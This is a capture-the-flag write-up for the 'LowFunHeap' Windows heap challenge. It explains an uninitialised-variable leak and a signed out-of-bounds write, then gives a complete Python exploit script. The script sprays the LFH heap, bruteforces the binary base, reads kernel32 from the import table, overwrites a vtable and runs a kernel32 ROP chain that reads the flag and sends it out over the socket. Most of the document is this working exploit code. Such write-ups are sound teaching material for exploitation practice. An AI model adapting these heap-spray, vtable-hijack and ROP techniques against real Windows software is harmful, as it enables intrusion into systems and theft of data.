# LowFunHeap writeup
## Summary- Make note strikes back on Windows heap- Bugs  - Uninit var usage after empty string receival (printable with option '1')  - OOB access on option '3' due to signed comparison- 0x20 size chunks allocated at LFH chunks- 32bit binary at year 2020, much wow
## Exploit1. Leak binary base   1. 0x20 size chunks use LFH, saturate the first UserBlocks with 0x18 chunks with option '3' such that last 4 bytes are set to target address to leak (LSByte must be '\x00')   1. Probe for binary base by checking leak result with expected leak data      - I used binary base + (0x00017B00 or 0x00007500)      - If not hit, will either crash or return different data      - If hit, will return some known data      - Requires max 2 bytes bruteforce (in reality completes quite fast due to low entropy, see [ref](http://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12_Miller_Exploit_Mitigation_Slides.pdf#page=20))   1. Windows ASLR only changes binary & dll bases after reboot (dunno the exact internals) - leak once, use forever1. Leak kernel32 base   1. We have binary base, just read IAT1. Overwrite vtable, stack pivot & ROP our way through flag   1. With OOB access on option '3' we can overwrite vtable of object created at option '1'   1. Use option '3' with two elements (fetching malloc(0x10 * 2)), write ROP payload at first element and overwrite vtable with second OOBed element      - I used stack pivoting with `mov esp, ebp ; pop ebp ; ret` gadget at kernel32      - Check out the if statement predicate just above of innermost while loop, see how `ebp` is set :)      - Some useful functions are given (ex: sending 18 bytes from given buffer over socket)      - Requires about 1/0x18 bruteforce since we assume option '1' and '3' buffers are at index (0, 2) or (1, 3) ... up to (0x15, 0x17), probably can do better with derandomization but didn't bother
## Exploit Code
```pyfrom pwintools import *from time import sleep
binary = PE(r'.\lfh.exe')k32 = PE(r'.\bins\kernel32.dll')
# pre-leakIP, PORT, binary.base, k32.base = 'flu.xxx', 2094, 0x009f0000, 0x75b00000
DEBUG = Falsedef run():    global _p, p    if DEBUG:        binary.base, k32.base = 0xf0000, 0x76320000        _p = Process('lfh.exe')        #_p.spawn_debugger(x96dbg = True, sleep = 5)        sleep(0.5)        p = Remote('127.0.0.1', 9999)        p.timeout = 20000000    else:        print(PORT)        p = Remote(IP, PORT)        p.timeout = 1500
def destroy():    try:        _p.close()    except:        pass    try:        p.close()    except:        pass
def cmd(sel, data):    p.recvuntil('\xCC\x00')    p.send(str(sel))    p.send(data)
def sel1(s):    cmd(1, s)  # s == '\n' causes uninit var access    p.recvuntil('DEBUG: obj->hash:\0')    return p.recvuntil('\xAA\xBB')[:-2]
def sel2(wait=4000):    old_timeout, p.timeout = p.timeout, wait    cmd(2, '')  # liveliness test?    p.timeout = old_timeout
def sel3(elem_cnt, indices, strs):    payload  = p32(elem_cnt)    payload += ''.join(map(lambda x: p32(x[0])+x[1][0]+x[1][1], zip(indices, strs)))    cmd(3, payload)
def sel3_free():    cmd(3, p32(0xffff))
def spray(cnt, spray_payload):    elem_cnt = cnt    indices = list(range(elem_cnt))    assert('\n' not in spray_payload[:-1])    strs = [(spray_payload, spray_payload)] * elem_cnt    sel3(elem_cnt, indices, strs)
# binary base leakdef leak_binary_base():    match_1 = ''.join(chr(int(c, 16)) for c in """    38 39 3A 3B 3C 3D 3E 3F  40 41 42 43 44 45 46 47    48 49 4A 4B 4C 4D 4E 4F  50 51 52 53 54 55 56 57    58 59 5A 5B 5C 5D 5E 5F  60 41 42 43 44 45 46 47    48 49 4A 4B 4C 4D 4E 4F  50 51 52 53 54 55 56 57    58 59 5A 7B 7C 7D 7E 7F  80 81 82 83 84 85 86 87    88 89 8A 8B 8C 8D 8E 8F  90 91 92 93 94 95 96 97    98 99 9A 9B 9C 9D 9E 9F  A0 A1 A2 A3 A4 A5 A6 A7    A8 A9 AA AB AC AD AE AF  B0 B1 B2 B3 B4 B5 B6 B7    B8 B9 BA BB BC BD BE BF  C0 C1 C2 C3 C4 C5 C6 C7    C8 C9 CA CB CC CD CE CF  D0 D1 D2 D3 D4 D5 D6 D7    D8 D9 DA DB DC DD DE DF  E0 E1 E2 E3 E4 E5 E6 E7    E8 E9 EA EB EC ED EE EF  F0 F1 F2 F3 F4 F5 F6 F7    F8 F9 FA FB FC FD FE FF  75    """.strip().split())    match_2 = '\x83\xE6\x3F\x80\x7F\x29'
    # we can be 2x faster, but oh well it still works :)    for i in range(0x1, 0x10000):        try:            try_base = i * 0x10000 log.info('Trying base {:08x}'.format(try_base))
            # 1. saturate LFH            alternative = False            spray_payload = 'A'*0x1c + p32(try_base + 0x00017b00)[:-1] + '\n'            if '\n' in spray_payload[:-1]:                alternative = True                spray_payload = 'A'*0x1c + p32(try_base + 0x00007500)[:-1] + '\n'                if '\n' in spray_payload[:-1]:  # 0x0a??????-like bases, let's just :pray: log.info('Skipping base {:08x}'.format(try_base))                    continue
            run()            sel2()
            spray(0x18 // 2, spray_payload)
            # 2. free all at LFH            sel3_free()
            # 3. try probing            # read base + 0x00017B00 => if hit, yields match_1            # read base + 0x00007500 => if hit, yields match_2            res = sel1('\n')            if (not alternative and res == match_1) or (alternative and res == match_2):                return try_base
            # else, we've probed something else but got different results (heap, other dlls, etc.) log.info("Misprobe")        except KeyboardInterrupt:            break        except:            pass        finally:            destroy()     return None
def leak_k32_base():    # kernel32 leak    run()    sel2()
    idt_ptr = binary.base + 0x15000
    spray(0x18 // 2, 'A'*0x1c + p32(idt_ptr)[:-1] + '\n')    sel3_free()
    res = sel1('\n')[:4]    WriteConsoleW = u32(res.ljust(4, '\0')) log.info('WriteConsoleW: {:08x}'.format(WriteConsoleW))
    k32_base = WriteConsoleW - k32.symbols['WriteConsoleW']    assert k32_base & 0xffff == 0
    destroy()
    return k32_base
# first alloc 0x20 => first LFH 0x20, UserBlocks cnt 0x18
#binary.base = leak_binary_base()log.success('lfh.exe: {:08x}'.format(binary.base))#k32.base = leak_k32_base()log.success('kernel32.dll: {:08x}'.format(k32.base))
for i in range(10000):    try: log.info('Attempt {}'.format(i))
        run()        try:            sel2()        except KeyboardInterrupt:            break        except:            log.warning("Response too slow...")            break
        sel1('a\n')
        """        base: k32        0x1090e : mov esp, ebp ; pop ebp ; ret        0x10911 : ret        0x6d23b : push esp ; pop esi ; ret        0x1e7b2 : pop eax ; ret        0x49b82 : add eax, esi ; pop esi ; ret        0x47718 : mov eax, dword ptr [eax] ; ret        0x223a7 : pop ecx ; ret        0x1fb4b : mov ecx, eax ; mov eax, ecx ; pop ebp ; ret        0x5dfa3 : mov dword ptr [eax], ecx ; xor eax, eax ; pop ebp ; ret 0x18        """        flag_buf = binary.base + 0x1f840        overlapped = binary.base + 0x1f940        send18b = binary.base + 0x12CF        sockfd_ptr = binary.base + 0x1E9A0        rop  = ''        rop += p32(0)        rop += p32(k32.base + 0x1e7b2) + p32(binary.base + 0x1E9A8)  # eax = &hFlag        rop += p32(k32.base + 0x47718)  # eax = *eax        rop += p32(k32.base + 0x1fb4b) + p32(0)  # ecx = eax (= hFlag)        rop += p32(k32.base + 0x1e7b2) + p32(0x30)  # eax = 0x30  (offset @ stack 0x1337)        rop += p32(k32.base + 0x6d23b)  # esi = esp        rop += p32(k32.base + 0x49b82) + p32(0)  # eax = eax + esi        rop += p32(k32.base + 0x5dfa3) + p32(0)  # [eax] = ecx  (*(arg loc) = hFlag)        rop += p32(k32.base + k32.symbols['ReadFile']) + 'A'*0x18 + p32(k32.base + 0x223a7) + p32(0x1337) + p32(flag_buf) + p32(0x100) + p32(0) + p32(overlapped)        rop += p32(sockfd_ptr)  # already return to pop ecx        for i in range(3):            rop += p32(send18b) + p32(k32.base + 0x223a7) + p32(flag_buf + 18 * i) + p32(sockfd_ptr)        rop += '\n'
        vtable_payload = p32(0) + p32(k32.base + 0x1090e) + '\n'  # vtable 2nd function as stack pivoter
        assert '\n' not in (rop[:-1] + vtable_payload[:-1])
        # very roughly approx. 1 / 0x18 chance of overwrite        indices = [0, -5 & 0xffffffff]        strs = [('\0\n', rop), ('\a\n', vtable_payload)]        sel3(2, indices, strs)
        print(p.recvuntil('}'))        break    except KeyboardInterrupt:        break    except:        pass    finally:        destroy()
### flag{must_be_a_197_iq_hacker} ###```